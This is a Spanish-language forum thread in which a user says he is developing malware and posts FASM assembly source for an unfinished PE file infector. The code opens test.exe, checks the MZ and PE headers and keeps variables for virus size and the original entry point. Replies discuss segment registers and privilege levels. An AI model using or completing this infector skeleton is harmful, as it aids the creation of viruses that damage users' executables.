¿Como hacer que los registros DS y ES apunten al Segmento de Codigo (CS)???

Iniciado por harry_the_blogger, 22 Agosto 2014, 16:40 PM

0 Miembros y 2 Visitantes están viendo este tema.

harry_the_blogger

Hola, estoy desarrollando un malware en ensamblador. Ya ha fallado varias veces cuando intento hacer una operacion que usa los registros ESI y EDI. Lo he analizado y he descubierto que los registros DS y ES no apuntan a los datos embebidos dentro del mismo segmento de codigo.

Por eso necesito que me ayuden un poco explicandome como hacer que los registros DS (Data Segment) y ES apunten hacia CS (Code Segment). Será que pueden darme un breve ejemplo en codigo de como hacerlo?? Gracias de antemano por sus respuestas.
Vista mi blog es enriquemesa.blogspot.com

Eternal Idol

Código (asm) [Seleccionar]
push cs
pop ds


Siempre es mejor exponer el problema que uno tiene en detalle (S.O., extracto de codigo, etc.) y no la solucion que cree debe darle.
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

harry_the_blogger

Gracias Eternal Idol, sé que debí ser un poco más especifico y comentar más acerca de mi problema, pero no sé si al explicar un poco más mi problema, la gente no responda y no quiero que piensen que soy vago o que no estoy trabajando por una solucion.

Ah, la solucion que me brindaste ya la había probado antes, y aún así mi programa falló. Ahora pienso que debe haber otra cosa que está mal en mi codigo. Por ahora no preguntaré más, para no saturar el foro de preguntas mías.

Gracias por tu respuesta.
Vista mi blog es enriquemesa.blogspot.com

cpu2

Corrijanme si me equivoco, pero para modificar los registros de los segmentos necesitas tener privilegios en CPL. En que modo estas?

A porcierto estas en x86 o en x64?

Recuerdo a ver leido de que en x64, se puede modificar los valores de fs y gs con una instruccion sin tener ningun tipo de privilejio, pero tienes que tenerla activada en el registro de control cr4.

Un saludo.

harry_the_blogger

cpuz , estoy trabajando en x86. Usé el codigo que me dio Eternal Idol, pero mi programa falla de nuevo. No sé si necesito permisos para cambiar los registros de segmento. Bueno, si tu dices que necesito permisos, será reescribir el codigo de nuevo y evitar usar esos registros.

Código (asm) [Seleccionar]

push cs
pop ds
push cs
pop es


A mí no me funciono. Estoy compilando con FASM, y compila bien. Pero en tiempo de ejecucion falla. Aqui dejo el codigo completo:

Código (asm) [Seleccionar]

format pe console 4.0
include 'C:\fasm\INCLUDE\WIN32AX.INC'

section '.text' readable writable executable

virus_size_before_compilation equ (end_of_file-main)

main:
    invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
    mov [file_handle], eax

    ;I get the filesize of the host, and move it to a variable.
    ;This data could be interesting in a near future
    invoke GetFileSize, [file_handle], 0
    mov [host_size], eax

    ;Calculates the possible new size of the executable
    ;add eax, virus_size
    ;mov [infected_size], eax

    ;Read 8000 bytes from the file
    invoke  ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file

    ;Debugging purpouses.
    invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing               the text
    invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK

    ;You must verify that the API has successfully opened and read bytes from the file
    invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK

    lea edx, [buffer]       ;Load in edx the address of buffer
                            ;I use the edx register as a pointer to the buffer.

                            ;Now I am in the DOS header.
    cmp word [edx], "MZ"    ;Check if the file is a real executable
    jnz bad_executable
    add edx, [edx+60]       ;This instruction modify the pointer.
                            ;Now the edx register points to a position
                            ;60 bytes (3C in hex) after the begin of buffer
                            ;Now I am in the PE Header

    cmp word [edx], "PE"    ;I check if the executable has a valid PE header
                            ;This is very useful to know if I am infecting
                            ;an old DOS program instead a Win32 executable.
    jnz bad_executable
    call good_executable

    ;First, make a routine that verifies that the DS:ESI and ES:EDI
    ;pair of segments are correct and they points to the Code Segment
    push cs
    pop ds
    push cs
    pop es

    invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK

    ret

good_executable:
    invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK
    ret

bad_executable:
    invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK
    ret

datazone:
    cFileName db 'test.exe', 0
    ;This buffer will store parts of the whole file.
    buffer rb 8000

    ;Strings zone...
    end_message db 'The file was sucessfully infected...', 0
    msg_found  db      'I have found a Real EXE!!!...', 0
    msg_not_found db  'The current exe file is invalid...', 0
    file_signal db 'X'
    end_msg     db      'End of program', 0
    msg         db      'File founded', 0
    msg_caption db      'Assembly program...', 0
    sign        db      'Sorry, You have HIV...', 0
    byteswritten dd      ?
    bytesread    dd      ?

    ;Variables needed by the infection function
    file_handle  dd      ?
    host_size dd ?
    map_handle dd ?
    infected_size dd ?
    virus_size dd virus_size_before_compilation
    OldEip  dd  ?
end_of_file:
.end main
Vista mi blog es enriquemesa.blogspot.com

Eternal Idol

Cita de: harry_the_blogger en 22 Agosto 2014, 19:41 PM
cpuz , estoy trabajando en x86. Usé el codigo que me dio Eternal Idol, pero mi programa falla de nuevo. No sé si necesito permisos para cambiar los registros de segmento. Bueno, si tu dices que necesito permisos, será reescribir el codigo de nuevo y evitar usar esos registros.

Deberias decirnos exactamente donde falla. ¿Lo depuraste? ¿CreateFile retorna algo diferente a -1 (0xFFFFFFFF) pese a que intentes abrir el archivo en modo exclusivo? Sinceramente no se donde donde esta la relacion con los segmentos todavia ...
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón

cpu2

Cita de: Eternal Idol en 22 Agosto 2014, 20:46 PM
Deberias decirnos exactamente donde falla. ¿Lo depuraste? ¿CreateFile retorna algo diferente a -1 (0xFFFFFFFF) pese a que intentes abrir el archivo en modo exclusivo? Sinceramente no se donde donde esta la relacion con los segmentos todavia ...

Exacto, no se que pintan los segmentos hay, pero una cosa @EI es correcto que los segmentos solo se pueden modificar con privilegios en CPL, en ring3 nada, no?

O eso entendi en los manuales.

@harry_the_blogger

Podrias utilizar push para guardar los retornos de las funciones, mejor que moverlos a .data.

Un saludo.

Eternal Idol

Cita de: cpu2 en 22 Agosto 2014, 20:53 PM
Exacto, no se que pintan los segmentos hay, pero una cosa @EI es correcto que los segmentos solo se pueden modificar con privilegios en CPL, en ring3 nada, no?

Claro, esto genera una excepcion, por eso le dije al principio que deberia intentar explicar su PROBLEMA y no la supuesta SOLUCION. Si hubiera estado en modo real el codigo le hubiera servido pero en este caso es seguro que el PROBLEMA es otro y obviamente otra sera la SOLUCION.
La economía nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de éste.
Juan Domingo Perón